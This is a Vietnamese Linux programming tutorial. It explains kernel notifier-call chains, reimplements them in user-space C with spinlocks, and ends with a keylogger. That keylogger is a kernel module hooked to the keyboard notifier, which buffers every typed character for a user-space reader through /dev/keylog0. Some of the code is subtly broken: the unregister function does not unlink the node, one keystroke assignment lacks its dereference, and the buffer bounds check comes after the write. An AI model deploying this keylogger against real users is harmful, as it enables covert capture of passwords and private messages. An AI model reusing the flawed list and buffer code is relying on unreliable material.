Lời mở đầu
Nhân hệ điều
hành Linux được cấu thành từ rất nhiều các sub-system, mỗi sub-system này thực
hiện các chức năng riêng biệt nhau, tuy nhiên một số nhóm sub-system có thể
mong muốn nhận tập các sự kiện giống nhau. Nhân Linux thiết kế một phương pháp
truyền thông để có thể chia sẻ một sự kiện tới nhiều các sub-system vừa tạo ra
sự linh hoạt trong code vừa có khả năng mở rộng dễ dàng trong tương lai. Phương
pháp đó gọi là notifier-call chain. Việc hiểu rõ hoạt động của phương pháp này
là một nhu cầu giúp cho các kỹ sư thiết kế kiến trúc phần mềm có thể có một chất
liệu phục vụ cho việc xây dựng hệ thống phần mềm của chính mình.
Tổng quan về notifier-call chain
Notifier-call
chain là một danh sách liên kết đơn của các hàm sẽ được thực hiện tuần tự khi một
sự kiện nhất định xảy ra. Mỗi hàm có chức năng giúp cho một sub-system nhất định
biết về sự kiện và có hành động tương ứng đối với sự kiện đó. Như vậy
notifi-call chain bao gồm hai thành phần, bên chủ động thông báo sự kiện và các
bên thụ động nhận sự kiện. Mô hình này gọi là Publisher-Subscriber
Trong đó bên nhận sự kiện đăng ký với hệ thống
sự kiện mình muốn nhận và đưa ra hàm callback để mỗi khi sự kiện xảy ra bên
thông báo sự kiện sẽ gọi hàm đó
Việc sử dụng
notifi-call chain giúp cho mã nguồn trở lên dễ dàng viết và bảo trì. Nếu như
không có notifi-call chain, mỗi khi có một sub-system được đưa vào nhân Linux,
kỹ sư phần mềm sẽ phải đi tìm nơi xử lý sự kiện mà sub-system mong muốn nhận và
thêm mã nguồn vào đó như sau
process_X_event
{
if(sub_systemA_enable)
do_something
if(sub_systemB_enable)
do_something
if(sub_systemC_enable)
do_something
}
|
Như
thế trong một hệ thống lớn vừa có nhiều sự kiện vừa có nhiều sub-system, điều
đó rất bất tiện. Tuy nhiên nếu thiết kế hệ thống theo notifi-call chain, người
lập trình cần giữ hai tư duy lập trình sau:
- Sự kiện nào mà sub-system mình thiết kế/bảo trì mong muốn nhận?
- Sub-system mà mình thiết kế/bảo trì có thể tạo ra sự kiện nào mà các sub-system khác có thể ưa thích không?
Do
đó notifi-call chain cho phép các sub-system chia sẻ các sự kiện với nhau mà một
sub-system sẽ không cần biết tới việc các sub-system ưa thích sự kiện nào và tại
sao nó lại ưa thích sự kiện đó.
Một ví dụ về notifi-call chain trong TCP/IP stack của Linux
Một
trong các notifi-call chain phổ biến nhất trong hệ điều hành Linux là inetaddr_chain. Chain này được duy trì cho sự kiện một địa chỉ
IP được cấu hình tới hoặc bị xóa khỏi một cổng mạng. Có rất nhiều sub-system
mong muốn nhận sự kiện này. Trong số đó có hai bảng phục vụ cho việc truyền/nhận
gói tin trong TCP/IP stack là bảng định tuyến (routing) và bảng ARP.
Bảng định tuyến (Bảng FIB – Forwarding
Information Base) là bảng lưu thông tin mạng đích của một máy tính, tất cả các
bản tin trước khi được máy tính gửi ra mạng ngoài đều được tìm kiếm địa chỉ
đích tại bảng này. Cấu trúc bảng như sau:
Bảng bao gồm các trường địa chỉ IP mạng đích
(Destination), địa chỉ IP của Gateway, địa chỉ Subnet mask, cờ (Flags) mô tả đặc
tính của tuyến, cờ có các giá trị U-nghĩa là Up-tuyến hợp lệ, G-gateway-tuyến tới
Gateway, H-host-tuyến tới địa chỉ là một máy tính khác (host) trong mạng thay
vì một mạng đích, metric mô tả khoảng cách tới mạng đích, có giá trị càng nhỏ
càng tốt, máy tính đi tới một mạng đích nếu có nhiều tuyến sẽ lựa chọn tuyến có
metric nhỏ nhất, tuyến có metric bằng 0 mô tả gateway của máy còn metric bằng 1
mô tả mạng LAN của máy, hai trường Ref và Use không có ý nghĩa quan trọng, trường
iface là cổng ra của tuyến
Chúng ta thấy trong bảng có một tuyến tới mạng
192.168.1.0, đây là địa chỉ mạng LAN của máy, sở dĩ bảng có tuyến này vì máy
tính có một địa chỉ IP 192.168.1.7 thuộc dải mạng này
Như vậy bảng định tuyến đã đăng ký sự kiện
trong inetaddr_chain, mỗi khi cổng mạng của
máy tính được cấu hình một địa chỉ IP, bảng định tuyến nhận được sự kiện đó sẽ tự
động chèn một tuyến vào trong bảng mô tả mạng đích (mạng LAN) của địa chỉ IP
đó, khi địa chỉ này thay đổi, bảng định tuyến cũng sẽ biết sự kiện thay đổi đó
và cập nhật giá trị mới tương ứng, nếu địa chỉ IP bị xóa
Thì tuyến đó cũng bị xóa tương ứng trong bảng
Tất
cả các sự kiện trong inetaddr_chain bảng
đều được cập nhật thông qua notifi-call chain
Cũng
tương tự như thế đối với bảng ARP, bảng lưu thông tin ánh xạ giữa địa chỉ IP và
địa chỉ MAC trong một mạng LAN
Xây dựng một notifi-call chain sử dụng ở user-space application
Về
mặt cấu trúc dữ liệu, notifi-call chain thực chất một tập hợp các hàm được tổ
chức trong một danh sách liên kết đơn, mỗi khi một sự kiện xảy ra, toàn bộ danh
sách được duyệt và các hàm đăng ký tới danh sách được gọi tương ứng. Cấu trúc từng
phần tử trong danh sách liên kết được đại diện vởi một notifier_block như sau
typedef
int (*notifier_fn_t)(struct notifier_block *nb, unsigned long action, void
*data);
struct
notifier_block
{
notifier_fn_t notifier_call;
struct notifier_block *next;
int priority;
};
|
Trường
notifier_call lưu trữ các con trỏ hàm
Trường
next trỏ tới notifier_block tiếp theo
Trường
priority sử dụng để sắp xếp các notifier_block theo thứ tự nhất định, theo đó,
nếu một sub-system muốn hàm call-back của nó được gọi trước tiên khi sự kiện xảy
ra, nó sẽ đăng ký với mức priority cao nhất
Mỗi
sub-system muốn đăng ký/hủy đăng ký nhận một sự kiện có thể sử dụng sử dụng các
hàm notifier_chain_register/ notifier_chain_unregister
tương ứng
static
int notifier_chain_register(struct notifier_block **list, struct
notifier_block *n)
{
while ((*list) != NULL)
{
if (n->priority >
(*list)->priority)
break;
list = &((*list)->next);
}
n->next = *list;
*list = n;
return 0;
}
static
int notifier_chain_unregister(struct notifier_block **list, struct
notifier_block *n)
{
while ((*list) != NULL)
{
if ((*list) == n)
{
n->next = *list;
return 0;
}
list
= &((*list)->next);
}
return -1;
}
|
Còn
mỗi khi một sub-system có một sự kiện cần loan báo tới các sub-system khác, nó
sẽ gọi notifier_call_chain để loan báo đi
int
notifier_call_chain(struct notifier_block **list, unsigned long val, void *v)
{
int ret = NOTIFY_DONE;
struct notifier_block *nb = *list;
while(nb)
{
ret = (int)(nb->notifier_call(nb,
val, v));
if(ret & NOTIFY_STOP_MASK)
{
return ret;
}
nb = nb->next;
}
return ret;
}
|
Có
một số tùy chọn để một hàm call-back quyết định là sự kiện sẽ được xử lý ở các
call_back tiếp theo như thế nào
#define
NOTIFY_DONE 0x0000 /* Don't care */
#define
NOTIFY_OK 0x0001 /* Suits me */
#define
NOTIFY_STOP_MASK 0x8000 /* Don't call further */
#define
NOTIFY_BAD (NOTIFY_STOP_MASK|0x0002)
/*
Bad/Veto action */
/*
* Clean way to return from the notifier and
stop further calls.
*/
#define
NOTIFY_STOP (NOTIFY_OK|NOTIFY_STOP_MASK)
|
Nếu
call_back xử lý sự kiện mà thấy rằng kết quả là bình thường, hợp lệ nó có thể
trả về NOTIFY_OK hoặc NOTIFY_DONE để hệ thống tiếp tục luân chuyển sự kiện tới
các sub-system phía sau, nếu không nó sẽ trả về NOTIFY_BAD hoặc NOTIFY_STOP để
báo có một lỗi trong quá trình xử lý sự kiện hoặc đơn giản là sự kiện tới đây
không cần thiết phải luân chuyển tiếp nữa.
Hoạt động trong môi trường multi-thread/multicore
Các
hàm của framework trên có thể hoạt động tốt trong môi trường đơn thread/đơn CPU
core, nhưng nếu hoạt động trong môi trường multi-thread/multi-core, nó có thể dẫn
tới nhiều lỗi logic cũng như lỗi gây crash phần mềm khi một CPU đang đăng ký/hủy
đăng ký sự kiện thì một CPU khác loan báo sự kiện, do đó framework cần được viết
lại thêm vào các phần đồng bộ giúp cho các cấu phần của framework có thể hoạt động
song song trong môi trường multi-core, phần đồng bộ sử dụng cơ chế spin-lock của
thư viện pthread
int
atomic_notifier_chain_register(struct atomic_notifier_head *nh, struct
notifier_block *n)
{
int ret;
pthread_spin_lock(&nh->lock);
ret = notifier_chain_register(&nh->head,
n);
pthread_spin_unlock(&nh->lock);
return ret;
}
int
atomic_notifier_chain_unregister(struct atomic_notifier_head *nh, struct
notifier_block *n)
{
int ret;
pthread_spin_lock(&nh->lock);
ret =
notifier_chain_unregister(&nh->head, n);
pthread_spin_unlock(&nh->lock);
return ret;
}
int
atomic_notifier_call_chain(struct atomic_notifier_head *nh,
unsigned
long val, void *v)
{
int ret;
pthread_spin_lock(&nh->lock);
ret =
notifier_call_chain(&nh->head, val, v);
pthread_spin_unlock(&nh->lock);
return ret;
}
void
atomic_notifier_init(struct atomic_notifier_head *notifier_head)
{
pthread_spin_init(&(notifier_head->lock),
PTHREAD_PROCESS_PRIVATE);
notifier_head->head = NULL;
return;
}
|
Hàm
atomic cần được gọi trước tất cả các hàm khác để khởi tạo spin-lock và lưu ý rằng
một notifier_block không nên được đăng ký vào một notifier_chain nhiều hơn một
lần nhằm tránh các lỗi vòng lặp vô tận do con trỏ next của notifier_block trỏ tới
chính nó.
Viết một khối keylogger sử dụng notificall-chain
Chúng
ta có thể viết một khối keylogger, khối sẽ log lại tất cả các ký tự được gõ từ
bàn phím của chúng ta và loan báo nó tới các sub-system đăng ký trong
user-space.
Loadable module ở nhân hệ điều hành
Keyboard
device driver là một sub-system device driver sử dụng để giải mã các ký tự từ
bàn phím. Keyboard device driver nhận được các ngắt từ bàn phím, hàm phục vụ ngắt
của sub-system sẽ tiến hành đọc các scan code (mã mã hóa tín hiệu điện) và chuyển
đổi thành các keycode, các keycode là các số hiệu được gán cho mỗi phím được bấm.
Bảng mã keycode các bạn có thể tham khảo tại Bảng mã Keycode
Các
keycode sau đó tiếp tục được chuyển đổi thành các key symbol, bao gồm các mã
ASCII mà chúng ta có thể đọc. Sự khác nhau giữa key code và key symbol như khi chúng
ta gõ ký tự A. Để gõ ký tự A thì chúng ta có thể gõ SHIFT + a hoặc CAPSLOCK + a.
Keycode sẽ ghi nhận hai mã keycode được ấn là 16(SHIFT) và 65(a) hoặc 20(CAPSLOCK)
và 65(a), trong khi Key symbol sẽ ghi nhận ký tự A đã được ấn. Việc chuyển đổi
này đã được thực hiện trong device driver và device driver sẽ thông báo các sự
kiện này tới các sub-system khác thông qua notificall_chain
Như
vậy chúng ta sẽ xây dựng khối key-logger như một sub-system của hệ điều hành, key
logger sẽ nhận loan báo sự kiện bởi driver bàn phím (keyboard device-driver) và
loan báo nó tới các sub-system phía userspace.
Chúng
ta bắt đầu sub-system bằng cách khởi tạo một loadable module để đăng ký một
keylogger character driver và đăng ký nhận các sự kiện từ keyboard driver
#define
DEVICE_NAME "keylog0"
static
int major;
static
int __init keylog_init(void)
{ major = register_chrdev(0, DEVICE_NAME, &fops); if (major < 0)
{
printk(KERN_ALERT
"keylog failed to register a major number\n");
return major;
}
printk(KERN_INFO
"Registered keylogger with major number %d", major);
init_waitqueue_head(&wait_queue);
register_keyboard_notifier(&nb);
memset(keys_buffer,
0, BUFFER_LEN);
return
0;
}
|
Keylogger
driver được đăng ký thành công sẽ có tên là keylog0 và tạo ra một file đại diện
trong thư mục /dev/. Lớp ứng dụng sau khi mở file sẽ tiến hành đọc từ file để
biết được tất cả các ký tự người dùng đã ấn vào từ bàn phím
Phương
thức của keylogger character driver do đó chỉ bao gồm phương thức đọc, các phương
thức khác được sử dụng ở lớp ứng dụng như open hay close đã được nhân cung cấp
một cách mặc định mà chúng ta không cần sửa chữa hay thay đổi gì
static
struct file_operations fops =
{ .read = dev_read
};
static
ssize_t dev_read(struct file *fp, char __user *buf, size_t length, loff_t
*offset)
{
int
len;
int
ret = 0;
wait_event_interruptible(wait_queue,
(buf_pos > 0));
len = strlen(keys_buffer);
ret = copy_to_user(buf, keys_buffer,
len);
if
(ret)
{
printk(KERN_INFO
"Couldn't copy all data to user space\n");
return
ret;
}
buf_pos = 0;
memset(keys_buffer,
0, BUFFER_LEN);
keys_bf_ptr
= keys_buffer;
return
len;
}
|
Khi
khởi tạo cho character driver chúng ta cũng khởi tạo cho một wait_queue,
wait_queue này giúp cho tiến trình ở phía lớp ứng dụng nếu đã mở file và tiến
hành đọc mà vẫn chưa có dữ liệu thì tiến trình sẽ rơi vào trạng thái ngủ chờ đợi,
CPU đang thực thi tiến trình sẽ được lập lịch cho tiến trình khác, việc này nhằm
tối ưu thời gian xử lý.
Một
buffer cũng được khai báo để lưu lại tất cả ký tự mà người dùng đã ấn tới bàn
phím, buffer có độ dài mặc định 1024 bytes
#define
BUFFER_LEN 1024
static
char keys_buffer[BUFFER_LEN];
static
char *keys_bf_ptr = keys_buffer;
|
Cuối
cùng hàm khởi tạo mới đăng ký nhận sự kiện từ keyboard driver thông qua
notificall_chain. Theo keyboard driver, mỗi khi người dùng ấn phím (hoặc nhả
phím), một tập các sự kiện sau sẽ được loan báo
#define
KBD_KEYCODE 0x0001 /* Keyboard
keycode, called before any other */
#define
KBD_UNBOUND_KEYCODE 0x0002 /* Keyboard
keycode which is not bound to any other */
#define
KBD_UNICODE 0x0003 /* Keyboard
unicode */
#define
KBD_KEYSYM 0x0004 /* Keyboard
keysym */
#define
KBD_POST_KEYSYM 0x0005 /*
Called after keyboard keysym interpretation */
|
Như
đã giải thích ở phía trên, keylogger sẽ chỉ cần quan tâm tới sự kiện KBD_KEYSYM
(Keyboard key symbol) và key được ấn(key down)(khi người dùng nhả phím một sự kiện
cũng được keyboard driver loan báo - key up). Chúng ta cũng sẽ chỉ cần quan tâm tới các
ký tự ASCII mà mắt người có thể đọc được
static
int keys_pressed(struct notifier_block *nb, unsigned long action, void *data)
{
struct
keyboard_notifier_param *param = data;
if (action == KBD_KEYSYM && param->down) { char c = param->value; if (c == 0x01) { *(keys_bf_ptr++) = 0x0a; buf_pos++; wake_up_interruptible(&wait_queue); } else if (c >= 0x20 && c < 0x7f) { (keys_bf_ptr++) = c; buf_pos++; }
if
(buf_pos >= BUFFER_LEN)
{ buf_pos = 0; memset(keys_buffer, 0, BUFFER_LEN); keys_bf_ptr = keys_buffer;
}
}
return
NOTIFY_OK;
}
|
Như
vậy hàm keys_pressed sẽ được gọi mỗi khi người dùng ấn phím, nó sẽ lưu lại tất
cả các phím vào keys_buffer và thông báo tới tiến trình đang ngủ để chờ dữ liệu.
Chú ý rằng không phải cứ nhận được một ký tự thì keylogger driver sẽ thông báo
ngay cho tiến trình mà chỉ khi nhận được ký tự xuống dòng(newline) thì sự kiện
đó mới được thông báo. Việc này cũng nhằm tối ưu hiệu năng xử lý của CPU.
Tiến trình ở userspace
Tiến
trình sẽ mở file /dev/keylog0 và nhận đăng ký từ các sub-system trong
userspace, tiến trình cũng sẽ định nghĩa ra một sự kiện mỗi khi có một buffer
được gửi lên từ nhân hệ điều hành, nó cũng sẽ loan báo tới tất cả các
sub-system đã đăng ký .Mã nguồn ở userspace như sau
#include
<stdio.h>
#include
<unistd.h>
#include
<fcntl.h>
#include
<errno.h>
#include
<string.h>
#include
"user_notifier.h"
#define
LOG printf
#define
KEY_DRIVER "/dev/keylog0"
#define
BUFLEN 100
#define
KEYBUF_AVAIL 1
static
struct atomic_notifier_head keylogger_chain;
int
keylogger_register_notifier(struct notifier_block *nb)
{
return
atomic_notifier_chain_register(&keylogger_chain, nb);
}
int
keylogger_unregister_notifier(struct notifier_block *nb)
{
return
atomic_notifier_chain_unregister(&keylogger_chain, nb);
}
notifier_fn_t
tkeylogger_notify(struct notifier_block *nb, unsigned long state, void
*_notify)
{
LOG("%s state %ld buf %s\n",
__func__, state, (char *)_notify);
}
notifier_fn_t
tkeylogger_notify2(struct notifier_block *nb, unsigned long state, void
*_notify)
{
LOG("%s state %ld buf %s\n",
__func__, state, (char *)_notify);
}
static
struct notifier_block tkeylogger_notifier =
{
.notifier_call
= tkeylogger_notify,
};
static
struct notifier_block tkeylogger_notifier2 =
{
.notifier_call
= tkeylogger_notify2,
};
void
main(void)
{
int kfd = -1;
int numread;
char buf[BUFLEN] = {0};
kfd = open(KEY_DRIVER, O_RDWR, 0);
if(kfd < 0)
{
LOG("open error errno %d
\n", errno);
return;
}
atomic_notifier_init(&keylogger_chain);
keylogger_register_notifier(&tkeylogger_notifier);
keylogger_register_notifier(&tkeylogger_notifier2);
while(1)
{
numread = read(kfd, buf,
BUFLEN);
if(numread < 0)
{
LOG("read error \n");
return;
}
LOG("numread %d readbuf %s\n",
numread, buf);
atomic_notifier_call_chain(&keylogger_chain, KEYBUF_AVAIL, buf);
memset(buf, 0x00, BUFLEN);
}
return;
}
|
https://github.com/nhauyeneducation/linux_systemtraining
Tin học Nhã Uyên là một tổ chức thành lập với mục tiêu đào tạo kỹ sư lập trình hệ thống, kỹ sư lập trình nhúng và kỹ sư lập trình mạng trên nền tảng hệ điều hành Linux/Unix tại Việt Nam.
Mời các bạn vào Facebook của Tin học Nhã Uyên tại
https://www.facebook.com/tinhocnhauyen/ để theo dõi các bài viết kỹ thuật chất lượng tiếp theo của Tin học Nhã Uyên. Xin trân trọng cảm ơn các bạn
Comments
Post a Comment